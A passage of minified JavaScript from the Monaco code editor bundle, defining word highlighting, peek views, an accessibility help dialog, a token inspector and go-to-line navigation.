e.selectPrevPageSuggestion()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:11,secondary:[2059]}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectFirstSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return e.selectFirstSuggestion()}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"toggleSuggestionDetails\",precondition:w.Context.Visible,handler:function(e){return e.toggleSuggestionDetails()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:2058,mac:{primary:266}}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"toggleSuggestionFocus\",precondition:w.Context.Visible,handler:function(e){return e.toggleSuggestionFocus()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:2570,mac:{primary:778}}}))}),define(d[532],h([1,0,374,18,10,2,20,13,17,3,23,14,54,34]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";function f(e,t){var n=u.DocumentHighlightProviderRegistry.ordered(e),r=!1;return i.sequence(n.map(function(n){return function(){if(!r)return i.asWinJsPromise(function(i){return n.provideDocumentHighlights(e,t,i)}).then(function(e){if(Array.isArray(e)&&e.length>0)return r=!0,e},function(e){o.onUnexpectedExternalError(e)})}})).then(function(e){return e[0]})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.editorWordHighlight=c.registerColor(\"editor.wordHighlightBackground\",{dark:\"#575757B8\",light:\"#57575740\",hc:null},n.localize(0,null)),t.editorWordHighlightStrong=c.registerColor(\"editor.wordHighlightStrongBackground\",{dark:\"#004972B8\",light:\"#0e639c40\",hc:null},n.localize(1,null)),t.getOccurrencesAtPosition=f,a.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeDocumentHighlights\",f);var g=function(){function e(e){var t=this;this.workerRequestTokenId=0,this.workerRequest=null,this.workerRequestCompleted=!1,this.workerRequestValue=[],this.lastCursorPositionChangeTime=0,this.renderDecorationsTimer=-1,this.editor=e,this.occurrencesHighlight=this.editor.getConfiguration().contribInfo.occurrencesHighlight,this.model=this.editor.getModel(),this.toUnhook=[],this.toUnhook.push(e.onDidChangeCursorPosition(function(e){t.occurrencesHighlight&&t._onPositionChanged(e)})),this.toUnhook.push(e.onDidChangeModel(function(e){t._stopAll(),t.model=t.editor.getModel()})),this.toUnhook.push(e.onDidChangeModelContent(function(e){t._stopAll()})),this.toUnhook.push(e.onDidChangeConfiguration(function(e){var n=t.editor.getConfiguration().contribInfo.occurrencesHighlight;t.occurrencesHighlight!==n&&(t.occurrencesHighlight=n,t._stopAll())})),this._lastWordRange=null,this._decorationIds=[],this.workerRequestTokenId=0,this.workerRequest=null,this.workerRequestCompleted=!1,this.lastCursorPositionChangeTime=0,this.renderDecorationsTimer=-1}return e.prototype._removeDecorations=function(){this._decorationIds.length>0&&(this._decorationIds=this.editor.deltaDecorations(this._decorationIds,[]))},e.prototype._stopAll=function(){this._lastWordRange=null,this._removeDecorations(),-1!==this.renderDecorationsTimer&&(clearTimeout(this.renderDecorationsTimer),this.renderDecorationsTimer=-1),null!==this.workerRequest&&(this.workerRequest.cancel(),this.workerRequest=null),this.workerRequestCompleted||(this.workerRequestTokenId++,this.workerRequestCompleted=!0)},e.prototype._onPositionChanged=function(e){var t=this;if(this.occurrencesHighlight)if(e.reason===h.CursorChangeReason.Explicit)if(u.DocumentHighlightProviderRegistry.has(this.model)){var n=this.editor.getSelection();if(n.startLineNumber===n.endLineNumber){var i=n.startLineNumber,o=n.startColumn,s=n.endColumn,a=this.model.getWordAtPosition({lineNumber:i,column:o});if(!a||a.startColumn>o||a.endColumn<s)this._stopAll();else{for(var l=new r.Range(i,a.startColumn,i,a.endColumn),c=this._lastWordRange&&this._lastWordRange.equalsRange(l),d=0,p=this._decorationIds.length;!c&&d<p;d++){var g=this.model.getDecorationRange(this._decorationIds[d]);g&&g.startLineNumber===i&&g.startColumn<=o&&g.endColumn>=s&&(c=!0)}if(this.lastCursorPositionChangeTime=(new Date).getTime(),c)this.workerRequestCompleted&&-1!==this.renderDecorationsTimer&&(clearTimeout(this.renderDecorationsTimer),this.renderDecorationsTimer=-1,this._beginRenderDecorations());else{this._stopAll();var m=++this.workerRequestTokenId;this.workerRequestCompleted=!1,this.workerRequest=f(this.model,this.editor.getPosition()),this.workerRequest.then(function(e){m===t.workerRequestTokenId&&(t.workerRequestCompleted=!0,t.workerRequestValue=e||[],t._beginRenderDecorations())}).done()}this._lastWordRange=l}}else this._stopAll()}else this._stopAll();else this._stopAll();else this._stopAll()},e.prototype._beginRenderDecorations=function(){var e=this,t=(new Date).getTime(),n=this.lastCursorPositionChangeTime+250;t>=n?(this.renderDecorationsTimer=-1,this.renderDecorations()):this.renderDecorationsTimer=setTimeout(function(){e.renderDecorations()},n-t)},e.prototype.renderDecorations=function(){this.renderDecorationsTimer=-1;for(var t=[],n=0,i=this.workerRequestValue.length;n<i;n++){var o=this.workerRequestValue[n];t.push({range:o.range,options:e._getDecorationOptions(o.kind)})}this._decorationIds=this.editor.deltaDecorations(this._decorationIds,t)},e._getDecorationOptions=function(e){return e===u.DocumentHighlightKind.Write?this._WRITE_OPTIONS:e===u.DocumentHighlightKind.Text?this._TEXT_OPTIONS:this._REGULAR_OPTIONS},e.prototype.dispose=function(){this._stopAll(),this.toUnhook=l.dispose(this.toUnhook)},e._WRITE_OPTIONS=p.ModelDecorationOptions.register({stickiness:s.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"wordHighlightStrong\",overviewRuler:{color:\"#A0A0A0\",darkColor:\"#A0A0A0\",position:s.OverviewRulerLane.Center}}),e._TEXT_OPTIONS=p.ModelDecorationOptions.register({stickiness:s.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"selectionHighlight\",overviewRuler:{color:\"#A0A0A0\",darkColor:\"#A0A0A0\",position:s.OverviewRulerLane.Center}}),e._REGULAR_OPTIONS=p.ModelDecorationOptions.register({stickiness:s.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"wordHighlight\",overviewRuler:{color:\"#A0A0A0\",darkColor:\"#A0A0A0\",position:s.OverviewRulerLane.Center}}),e}();!function(){function e(e){this.wordHighligher=new g(e)}return t=e,e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.wordHighligher.dispose()},e.ID=\"editor.contrib.wordHighlighter\",e=t=v([a.commonEditorContribution],e);var t}();d.registerThemingParticipant(function(e,n){var i=e.getColor(c.editorSelectionHighlight);i&&(n.addRule(\".monaco-editor .focused .selectionHighlight { background-color: \"+i+\"; }\"),n.addRule(\".monaco-editor .selectionHighlight { background-color: \"+i.transparent(.5)+\"; }\"));var o=e.getColor(t.editorWordHighlight);o&&n.addRule(\".monaco-editor .wordHighlight { background-color: \"+o+\"; }\");var r=e.getColor(t.editorWordHighlightStrong);r&&n.addRule(\".monaco-editor .wordHighlightStrong { background-color: \"+r+\"; }\");var s=e.getColor(c.activeContrastBorder);s&&(n.addRule(\".monaco-editor .selectionHighlight { border: 1px dotted \"+s+\"; box-sizing: border-box; }\"),n.addRule(\".monaco-editor .wordHighlight { border: 1px dashed \"+s+\"; box-sizing: border-box; }\"),n.addRule(\".monaco-editor .wordHighlightStrong { border: 1px dashed \"+s+\"; box-sizing: border-box; }\"))})}),define(d[92],h([1,0,375,53,9,26,52,11,4,75,16,42,183,194,19,32,396]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IPeekViewService=c.createDecorator(\"peekViewService\");!function(e){e.inPeekEditor=new g.RawContextKey(\"inReferenceSearchEditor\",!0),e.notInPeekEditor=e.inPeekEditor.toNegated()}(t.PeekContext||(t.PeekContext={})),t.NOT_INNER_EDITOR_CONTEXT_KEY=new g.RawContextKey(\"inReferenceSearchEditor\",!0),t.getOuterEditor=function(e){var t=e.get(d.ICodeEditorService).getFocusedCodeEditor();return t instanceof p.EmbeddedCodeEditorWidget?t.getParentEditor():t};var v={headerBackgroundColor:m.Color.white,primaryHeadingColor:m.Color.fromHex(\"#333333\"),secondaryHeadingColor:m.Color.fromHex(\"#6c6c6cb3\")},_=function(e){function t(t,n){void 0===n&&(n={});var i=e.call(this,t,n)||this;return i._onDidClose=new a.Emitter,i._isActive=!1,r.mixin(i.options,v,!1),i}return f(t,e),t.prototype.dispose=function(){this._isActive=!1,e.prototype.dispose.call(this),this._onDidClose.fire(this)},Object.defineProperty(t.prototype,\"onDidClose\",{get:function(){return this._onDidClose.event},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"isActive\",{get:function(){return this._isActive},enumerable:!0,configurable:!0}),t.prototype.show=function(t,n){this._isActive=!0,e.prototype.show.call(this,t,n)},t.prototype.style=function(t){var n=this.options;t.headerBackgroundColor&&(n.headerBackgroundColor=t.headerBackgroundColor),t.primaryHeadingColor&&(n.primaryHeadingColor=t.primaryHeadingColor),t.secondaryHeadingColor&&(n.secondaryHeadingColor=t.secondaryHeadingColor),e.prototype.style.call(this,t)},t.prototype._applyStyles=function(){e.prototype._applyStyles.call(this);var t=this.options;this._headElement&&(this._headElement.style.backgroundColor=t.headerBackgroundColor.toString()),this._primaryHeading&&(this._primaryHeading.style.color=t.primaryHeadingColor.toString()),this._secondaryHeading&&(this._secondaryHeading.style.color=t.secondaryHeadingColor.toString()),this._bodyElement&&(this._bodyElement.style.borderColor=t.frameColor.toString())},t.prototype._fillContainer=function(e){this.setCssClass(\"peekview-widget\"),this._headElement=s.$(\".head\").getHTMLElement(),this._bodyElement=s.$(\".body\").getHTMLElement(),this._fillHead(this._headElement),this._fillBody(this._bodyElement),e.appendChild(this._headElement),e.appendChild(this._bodyElement)},t.prototype._fillHead=function(e){var t=this,o=s.$(\".peekview-title\").on(u.EventType.CLICK,function(e){return t._onTitleClick(e)}).appendTo(this._headElement).getHTMLElement();this._primaryHeading=s.$(\"span.filename\").appendTo(o).getHTMLElement(),this._secondaryHeading=s.$(\"span.dirname\").appendTo(o).getHTMLElement(),this._metaHeading=s.$(\"span.meta\").appendTo(o).getHTMLElement(),this._actionbarWidget=new l.ActionBar(s.$(\".peekview-actions\").appendTo(this._headElement)),this._actionbarWidget.push(new i.Action(\"peekview.close\",n.localize(0,null),\"close-peekview-action\",!0,function(){return t.dispose(),null}),{label:!1,icon:!0})},t.prototype._onTitleClick=function(e){},t.prototype.setTitle=function(e,t){s.$(this._primaryHeading).safeInnerHtml(e),this._primaryHeading.setAttribute(\"aria-label\",e),t?s.$(this._secondaryHeading).safeInnerHtml(t):u.clearNode(this._secondaryHeading)},t.prototype.setMetaTitle=function(e){e?s.$(this._metaHeading).safeInnerHtml(e):u.clearNode(this._metaHeading)},t.prototype._fillBody=function(e){},t.prototype._doLayout=function(e,t){if(!this._isShowing&&e<0)return this.dispose(),void this._onDidClose.fire(this);var n=Math.ceil(1.2*this.editor.getConfiguration().lineHeight),i=e-(n+2);this._doLayoutHead(n,t),this._doLayoutBody(i,t)},t.prototype._doLayoutHead=function(e,t){this._headElement.style.height=o.format(\"{0}px\",e),this._headElement.style.lineHeight=this._headElement.style.height},t.prototype._doLayoutBody=function(e,t){this._bodyElement.style.height=o.format(\"{0}px\",e)},t}(h.ZoneWidget);t.PeekViewWidget=_}),define(d[534],h([1,0,6,3,9,4,102,27,41,16,46,19,21,13,30,181,14,23,15,51,71,24,28,400]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S,E,L){\"use strict\";function x(e,t){return e&&0!==e.length?1===e.length?t?o.format(k,e[0].positionLineNumber,e[0].positionColumn,t):o.format(I,e[0].positionLineNumber,e[0].positionColumn):t?o.format(D,e.length,t):e.length>0?o.format(O,e.length):null:T}Object.defineProperty(t,\"__esModule\",{value:!0});var N=new d.RawContextKey(\"accessibilityHelpWidgetVisible\",!1),M=function(e){function t(t,n){var i=e.call(this)||this;return i._editor=t,i._widget=i._register(n.createInstance(R,i._editor)),i}return f(t,e),n=t,t.get=function(e){return e.getContribution(n.ID)},t.prototype.getId=function(){return n.ID},t.prototype.show=function(){this._widget.show()},t.prototype.hide=function(){this._widget.hide()},t.ID=\"editor.contrib.accessibilityHelpController\",t=n=v([g.editorContribution,y(1,l.IInstantiationService)],t);var n}(i.Disposable),T=n.localize(\"noSelection\",\"No selection\"),k=n.localize(\"singleSelectionRange\",\"Line {0}, Column {1} ({2} selected)\"),I=n.localize(\"singleSelection\",\"Line {0}, Column {1}\"),D=n.localize(\"multiSelectionRange\",\"{0} selections ({1} characters selected)\"),O=n.localize(\"multiSelection\",\"{0} selections\"),R=function(e){function t(t,i,o,s){var u=e.call(this)||this;return u._contextKeyService=i,u._keybindingService=o,u._openerService=s,u._editor=t,u._isVisibleKey=N.bindTo(u._contextKeyService),u._domNode=a.createFastDomNode(document.createElement(\"div\")),u._domNode.setClassName(\"accessibilityHelpWidget\"),u._domNode.setDisplay(\"none\"),u._domNode.setAttribute(\"role\",\"dialog\"),u._domNode.setAttribute(\"aria-hidden\",\"true\"),u._contentDomNode=a.createFastDomNode(document.createElement(\"div\")),u._contentDomNode.setAttribute(\"role\",\"document\"),u._domNode.appendChild(u._contentDomNode),u._isVisible=!1,u._register(u._editor.onDidLayoutChange(function(){u._isVisible&&u._layout()})),u._register(r.addStandardDisposableListener(u._contentDomNode.domNode,\"keydown\",function(e){if(u._isVisible&&(e.equals(2083)&&(w.alert(n.localize(\"emergencyConfOn\",\"Now changing the setting `accessibilitySupport` to 'on'.\")),u._editor.updateOptions({accessibilitySupport:\"on\"}),r.clearNode(u._contentDomNode.domNode),u._buildContent(),u._contentDomNode.domNode.focus(),e.preventDefault(),e.stopPropagation()),e.equals(2086))){w.alert(n.localize(\"openingDocs\",\"Now opening the Editor Accessibility documentation page.\"));var t=u._editor.getRawConfiguration().accessibilityHelpUrl;void 0===t&&(t=\"https://go.microsoft.com/fwlink/?linkid=852450\"),u._openerService.open(E.default.parse(t)),e.preventDefault(),e.stopPropagation()}})),u.onblur(u._contentDomNode.domNode,function(){u.hide()}),u._editor.addOverlayWidget(u),u}return f(t,e),t.prototype.dispose=function(){this._editor.removeOverlayWidget(this),e.prototype.dispose.call(this)},t.prototype.getId=function(){return t.ID},t.prototype.getDomNode=function(){return this._domNode.domNode},t.prototype.getPosition=function(){return{preference:null}},t.prototype.show=function(){this._isVisible||(this._isVisible=!0,this._isVisibleKey.set(!0),this._layout(),this._domNode.setDisplay(\"block\"),this._domNode.setAttribute(\"aria-hidden\",\"false\"),this._contentDomNode.domNode.tabIndex=0,this._buildContent(),this._contentDomNode.domNode.focus())},t.prototype._descriptionForCommand=function(e,t,n){var i=this._keybindingService.lookupKeybinding(e);return i?o.format(t,i.getAriaLabel()):o.format(n,e)},t.prototype._buildContent=function(){var e=this._editor.getConfiguration(),t=this._editor.getSelections(),i=0;if(t){var o=this._editor.getModel();o&&t.forEach(function(e){i+=o.getValueLengthInRange(e)})}var r=x(t,i);switch(e.wrappingInfo.inDiffEditor?e.readOnly?r+=n.localize(\"readonlyDiffEditor\",\" in a read-only pane of a diff editor.\"):r+=n.localize(\"editableDiffEditor\",\" in a pane of a diff editor.\"):e.readOnly?r+=n.localize(\"readonlyEditor\",\" in a read-only code editor\"):r+=n.localize(\"editableEditor\",\" in a code editor\"),e.accessibilitySupport){case 0:var a=b.isMacintosh?n.localize(\"changeConfigToOnMac\",\"To configure the editor to be optimized for usage with a Screen Reader press Command+E now.\"):n.localize(\"changeConfigToOnWinLinux\",\"To configure the editor to be optimized for usage with a Screen Reader press Control+E now.\");r+=\"\\n\\n - \"+a;break;case 2:r+=\"\\n\\n - \"+n.localize(\"auto_on\",\"The editor is configured to be optimized for usage with a Screen Reader.\");break;case 1:r+=\"\\n\\n - \"+n.localize(\"auto_off\",\"The editor is configured to never be optimized for usage with a Screen Reader, which is not the case at this time.\"),r+=\" \"+a}var u=n.localize(\"tabFocusModeOnMsg\",\"Pressing Tab in the current editor will move focus to the next focusable element. Toggle this behavior by pressing {0}.\"),l=n.localize(\"tabFocusModeOnMsgNoKb\",\"Pressing Tab in the current editor will move focus to the next focusable element. The command {0} is currently not triggerable by a keybinding.\"),c=n.localize(\"tabFocusModeOffMsg\",\"Pressing Tab in the current editor will insert the tab character. Toggle this behavior by pressing {0}.\"),d=n.localize(\"tabFocusModeOffMsgNoKb\",\"Pressing Tab in the current editor will insert the tab character. The command {0} is currently not triggerable by a keybinding.\");e.tabFocusMode?r+=\"\\n\\n - \"+this._descriptionForCommand(m.ToggleTabFocusModeAction.ID,u,l):r+=\"\\n\\n - \"+this._descriptionForCommand(m.ToggleTabFocusModeAction.ID,c,d),r+=\"\\n\\n - \"+(b.isMacintosh?n.localize(\"openDocMac\",\"Press Command+H now to open a browser window with more information related to editor accessibility.\"):n.localize(\"openDocWinLinux\",\"Press Control+H now to open a browser window with more information related to editor accessibility.\")),r+=\"\\n\\n\"+n.localize(\"outroMsg\",\"You can dismiss this tooltip and return to the editor by pressing Escape or Shift+Escape.\"),this._contentDomNode.domNode.appendChild(s.renderFormattedText(r)),this._contentDomNode.domNode.setAttribute(\"aria-label\",r)},t.prototype.hide=function(){this._isVisible&&(this._isVisible=!1,this._isVisibleKey.reset(),this._domNode.setDisplay(\"none\"),this._domNode.setAttribute(\"aria-hidden\",\"true\"),this._contentDomNode.domNode.tabIndex=-1,r.clearNode(this._contentDomNode.domNode),this._editor.focus())},t.prototype._layout=function(){var e=this._editor.getLayoutInfo(),n=Math.max(5,Math.min(t.WIDTH,e.width-40)),i=Math.max(5,Math.min(t.HEIGHT,e.height-40));this._domNode.setWidth(n),this._domNode.setHeight(i);var o=Math.round((e.height-i)/2);this._domNode.setTop(o);var r=Math.round((e.width-n)/2);this._domNode.setLeft(r)},t.ID=\"editor.contrib.accessibilityHelpWidget\",t.WIDTH=500,t.HEIGHT=300,t=v([y(1,d.IContextKeyService),y(2,c.IKeybindingService),y(3,S.IOpenerService)],t)}(u.Widget),P=(function(e){function t(){return e.call(this,{id:\"editor.action.showAccessibilityHelp\",label:n.localize(\"ShowAccessibilityHelpAction\",\"Show Accessibility Help\"),alias:\"Show Accessibility Help\",precondition:null,kbOpts:{kbExpr:h.EditorContextKeys.focus,primary:L.isIE?2107:571}})||this}f(t,e),t.prototype.run=function(e,t){var n=M.get(t);n&&n.show()},t=v([p.editorAction],t)}(p.EditorAction),p.EditorCommand.bindToContribution(M.get));p.CommonEditorRegistry.registerEditorCommand(new P({id:\"closeAccessibilityHelp\",precondition:N,handler:function(e){return e.hide()},kbOpts:{weight:p.CommonEditorRegistry.commandWeight(100),kbExpr:h.EditorContextKeys.focus,primary:9,secondary:[1033]}})),_.registerThemingParticipant(function(e,t){var n=e.getColor(C.editorWidgetBackground);n&&t.addRule(\".monaco-editor .accessibilityHelpWidget { background-color: \"+n+\"; }\");var i=e.getColor(C.widgetShadow);i&&t.addRule(\".monaco-editor .accessibilityHelpWidget { box-shadow: 0 2px 8px \"+i+\"; }\");var o=e.getColor(C.contrastBorder);o&&t.addRule(\".monaco-editor .accessibilityHelpWidget { border: 2px solid \"+o+\"; }\")})}),define(d[535],h([1,0,376,3,9,13,25,30,88,116,17,77,68,14,23,403]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g){\"use strict\";function m(e){for(var t=\"\",n=0,i=e.length;n<i;n++){var o=e.charCodeAt(n);switch(o){case 9:t+=\"&rarr;\";break;case 32:t+=\"&middot;\";break;case 60:t+=\"&lt;\";break;case 62:t+=\"&gt;\";break;case 38:t+=\"&amp;\";break;default:t+=String.fromCharCode(o)}}return t}function _(e){var t=c.TokenizationRegistry.get(e.language);return t||{getInitialState:function(){return h.NULL_STATE},tokenize:function(t,n,i){return h.nullTokenize(e.language,t,n,i)},tokenize2:function(t,n,i){return h.nullTokenize2(e.id,t,n,i)}}}Object.defineProperty(t,\"__esModule\",{value:!0});var C=function(e){function t(t,n,i){var o=e.call(this)||this;return o._editor=t,o._standaloneThemeService=n,o._modeService=i,o._widget=null,o._register(o._editor.onDidChangeModel(function(e){return o.stop()})),o._register(o._editor.onDidChangeModelLanguage(function(e){return o.stop()})),o._register(c.TokenizationRegistry.onDidChange(function(e){return o.stop()})),o}return f(t,e),n=t,t.get=function(e){return e.getContribution(n.ID)},t.prototype.getId=function(){return n.ID},t.prototype.dispose=function(){this.stop(),e.prototype.dispose.call(this)},t.prototype.launch=function(){this._widget||this._editor.getModel()&&(this._widget=new b(this._editor,this._standaloneThemeService,this._modeService))},t.prototype.stop=function(){this._widget&&(this._widget.dispose(),this._widget=null)},t.ID=\"editor.contrib.inspectTokens\",t=n=v([a.editorContribution,y(1,d.IStandaloneThemeService),y(2,u.IModeService)],t);var n}(i.Disposable),b=(function(e){function t(){return e.call(this,{id:\"editor.action.inspectTokens\",label:n.localize(0,null),alias:\"Developer: Inspect Tokens\",precondition:null})||this}f(t,e),t.prototype.run=function(e,t){var n=C.get(t);n&&n.launch()},t=v([r.editorAction],t)}(r.EditorAction),function(e){function t(t,n,i){var o=e.call(this)||this;return o.allowEditorOverflow=!0,o._editor=t,o._standaloneThemeService=n,o._modeService=i,o._model=o._editor.getModel(),o._domNode=document.createElement(\"div\"),o._domNode.className=\"tokens-inspect-widget\",o._tokenizationSupport=_(o._model.getLanguageIdentifier()),o._compute(o._editor.getPosition()),o._register(o._editor.onDidChangeCursorPosition(function(e){return o._compute(o._editor.getPosition())})),o._editor.addContentWidget(o),o}return f(t,e),t.prototype.dispose=function(){this._editor.removeContentWidget(this),e.prototype.dispose.call(this)},t.prototype.getId=function(){return t._ID},t.prototype._compute=function(e){for(var t=this._getTokensAtLine(e.lineNumber),n=0,i=t.tokens1.length-1;i>=0;i--){var r=t.tokens1[i];if(e.column-1>=r.offset){n=i;break}}for(var s=0,i=t.tokens2.length>>>1;i>=0;i--)if(e.column-1>=t.tokens2[i<<1]){s=i;break}var a=\"\",u=this._model.getLineContent(e.lineNumber),l=\"\";if(n<t.tokens1.length){var c=t.tokens1[n].offset,d=n+1<t.tokens1.length?t.tokens1[n+1].offset:u.length;l=u.substring(c,d)}a+='<h2 class=\"tm-token\">'+m(l)+'<span class=\"tm-token-length\">('+l.length+\" \"+(1===l.length?\"char\":\"chars\")+\")</span></h2>\",a+='<hr class=\"tokens-inspect-separator\" style=\"clear:both\"/>';var h=this._decodeMetadata(t.tokens2[1+(s<<1)]);a+='<table class=\"tm-metadata-table\"><tbody>',a+='<tr><td class=\"tm-metadata-key\">language</td><td class=\"tm-metadata-value\">'+o.escape(h.languageIdentifier.language)+\"</td>\",a+='<tr><td class=\"tm-metadata-key\">token type</td><td class=\"tm-metadata-value\">'+this._tokenTypeToString(h.tokenType)+\"</td>\",a+='<tr><td class=\"tm-metadata-key\">font style</td><td class=\"tm-metadata-value\">'+this._fontStyleToString(h.fontStyle)+\"</td>\",a+='<tr><td class=\"tm-metadata-key\">foreground</td><td class=\"tm-metadata-value\">'+h.foreground.toRGBHex()+\"</td>\",a+='<tr><td class=\"tm-metadata-key\">background</td><td class=\"tm-metadata-value\">'+h.background.toRGBHex()+\"</td>\",a+=\"</tbody></table>\",a+='<hr class=\"tokens-inspect-separator\"/>',n<t.tokens1.length&&(a+='<span class=\"tm-token-type\">'+o.escape(t.tokens1[n].type)+\"</span>\"),this._domNode.innerHTML=a,this._editor.layoutContentWidget(this)},t.prototype._decodeMetadata=function(e){var t=c.TokenizationRegistry.getColorMap(),n=l.TokenMetadata.getLanguageId(e),i=l.TokenMetadata.getTokenType(e),o=l.TokenMetadata.getFontStyle(e),r=l.TokenMetadata.getForeground(e),s=l.TokenMetadata.getBackground(e);return{languageIdentifier:this._modeService.getLanguageIdentifier(n),tokenType:i,fontStyle:o,foreground:t[r],background:t[s]}},t.prototype._tokenTypeToString=function(e){switch(e){case 0:return\"Other\";case 1:return\"Comment\";case 2:return\"String\";case 4:return\"RegEx\"}return\"??\"},t.prototype._fontStyleToString=function(e){var t=\"\";return 1&e&&(t+=\"italic \"),2&e&&(t+=\"bold \"),4&e&&(t+=\"underline \"),0===t.length&&(t=\"---\"),t},t.prototype._getTokensAtLine=function(e){var t=this._getStateBeforeLine(e),n=this._tokenizationSupport.tokenize(this._model.getLineContent(e),t,0),i=this._tokenizationSupport.tokenize2(this._model.getLineContent(e),t,0);return{startState:t,tokens1:n.tokens,tokens2:i.tokens,endState:n.endState}},t.prototype._getStateBeforeLine=function(e){for(var t=this._tokenizationSupport.getInitialState(),n=1;n<e;n++)t=this._tokenizationSupport.tokenize(this._model.getLineContent(n),t,0).endState;return t},t.prototype.getDomNode=function(){return this._domNode},t.prototype.getPosition=function(){return{position:this._editor.getPosition(),preference:[s.ContentWidgetPositionPreference.BELOW,s.ContentWidgetPositionPreference.ABOVE]}},t._ID=\"editor.contrib.inspectTokensWidget\",t}(i.Disposable));p.registerThemingParticipant(function(e,t){var n=e.getColor(g.editorHoverBorder);if(n){var i=e.type===p.HIGH_CONTRAST?2:1;t.addRule(\".monaco-editor .tokens-inspect-widget { border: \"+i+\"px solid \"+n+\"; }\"),t.addRule(\".monaco-editor .tokens-inspect-widget .tokens-inspect-separator { background-color: \"+n+\"; }\")}var o=e.getColor(g.editorHoverBackground);o&&t.addRule(\".monaco-editor .tokens-inspect-widget { background-color: \"+o+\"; }\")})}),define(d[143],h([1,0,30,483,13,14,34]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e,t){this.themeService=t,this.editor=e}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.widget&&(this.widget.destroy(),this.widget=null)},e.prototype.run=function(e){var t=this;this.widget&&(this.widget.destroy(),this.widget=null);var n=function(e){t.clearDecorations(),e&&t.lastKnownEditorSelection&&(t.editor.setSelection(t.lastKnownEditorSelection),t.editor.revealRangeInCenterIfOutsideViewport(t.lastKnownEditorSelection)),t.lastKnownEditorSelection=null,t.editor.focus()};this.widget=new i.QuickOpenEditorWidget(this.editor,function(){return n(!1)},function(){return n(!0)},function(n){t.widget.setInput(e.getModel(n),e.getAutoFocus(n))},{inputAriaLabel:e.inputAriaLabel},this.themeService),this.lastKnownEditorSelection||(this.lastKnownEditorSelection=this.editor.getSelection()),this.widget.show(\"\")},e.prototype.decorateLine=function(e,n){var i=this;n.changeDecorations(function(n){var o=[];i.rangeHighlightDecorationId&&(o.push(i.rangeHighlightDecorationId),i.rangeHighlightDecorationId=null);var r=[{range:e,options:t._RANGE_HIGHLIGHT_DECORATION}],s=n.deltaDecorations(o,r);i.rangeHighlightDecorationId=s[0]})},e.prototype.clearDecorations=function(){var e=this;this.rangeHighlightDecorationId&&this.editor.changeDecorations(function(t){t.deltaDecorations([e.rangeHighlightDecorationId],[]),e.rangeHighlightDecorationId=null})},e.ID=\"editor.controller.quickOpenController\",e._RANGE_HIGHLIGHT_DECORATION=s.ModelDecorationOptions.register({className:\"rangeHighlight\",isWholeLine:!0}),e=t=v([n.editorContribution,y(1,r.IThemeService)],e);var t}();t.QuickOpenController=a;var u=function(e){function t(t,n){var i=e.call(this,n)||this;return i._inputAriaLabel=t,i}return f(t,e),t.prototype.getController=function(e){return a.get(e)},t.prototype._show=function(e,t){e.run({inputAriaLabel:this._inputAriaLabel,getModel:function(e){return t.getModel(e)},getAutoFocus:function(e){return t.getAutoFocus(e)}})},t}(o.EditorAction);t.BaseEditorQuickOpenAction=u}),define(d[537],h([1,0,377,120,100,20,21,143,13,12,2,404]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(e){function t(t,n,i){var o=e.call(this)||this;return o.editor=n,o.decorator=i,o._parseResult=o._parseInput(t),o}return f(t,e),t.prototype._parseInput=function(e){var t,i=e.split(\",\").map(function(e){return parseInt(e,10)}).filter(function(e){return!isNaN(e)});t=0===i.length?new l.Position(-1,-1):1===i.length?new l.Position(i[0],1):new l.Position(i[0],i[1]);var o,s,a=(o=r.isCommonCodeEditor(this.editor)?this.editor.getModel():this.editor.getModel().modified).validatePosition(t).equals(t);return s=a?t.column&&t.column>1?n.localize(0,null,t.lineNumber,t.column):n.localize(1,null,t.lineNumber,t.column):t.lineNumber<1||t.lineNumber>o.getLineCount()?n.localize(2,null,o.getLineCount()):n.localize(3,null,o.getLineMaxColumn(t.lineNumber)),{position:t,isValid:a,label:s}},t.prototype.getLabel=function(){return this._parseResult.label},t.prototype.getAriaLabel=function(){return n.localize(4,null,this._parseResult.label)},t.prototype.run=function(e,t){return e===o.Mode.OPEN?this.runOpen():this.runPreview()},t.prototype.runOpen=function(){if(!this._parseResult.isValid)return!1;var e=this.toSelection();return this.editor.setSelection(e),this.editor.revealRangeInCenter(e),this.editor.focus(),!0},t.prototype.runPreview=function(){if(!this._parseResult.isValid)return this.decorator.clearDecorations(),!1;var e=this.toSelection();return this.editor.revealRangeInCenter(e),this.decorator.decorateLine(e,this.editor),!1},t.prototype.toSelection=function(){return new c.Range(this._parseResult.position.lineNumber,this._parseResult.position.column,this._parseResult.position.lineNumber,this._parseResult.position.column)},t}(i.QuickOpenEntry);t.GotoLineEntry=d;var h=function(e){function t(){return e.call(this,n.localize(5,null),{id:\"editor.action.gotoLine\",label:n.localize(6,null),alias:\"Go to Line...\",precondition:null,kbOpts:{kbExpr:s.EditorContextKeys.focus,primary:2085,mac:{primary:293}}})||this}return f(t,e),t.prototype.run=function(e,t){var n=this;this._show(this.getController(t),{getModel:function(e){return new i.QuickOpenModel([new 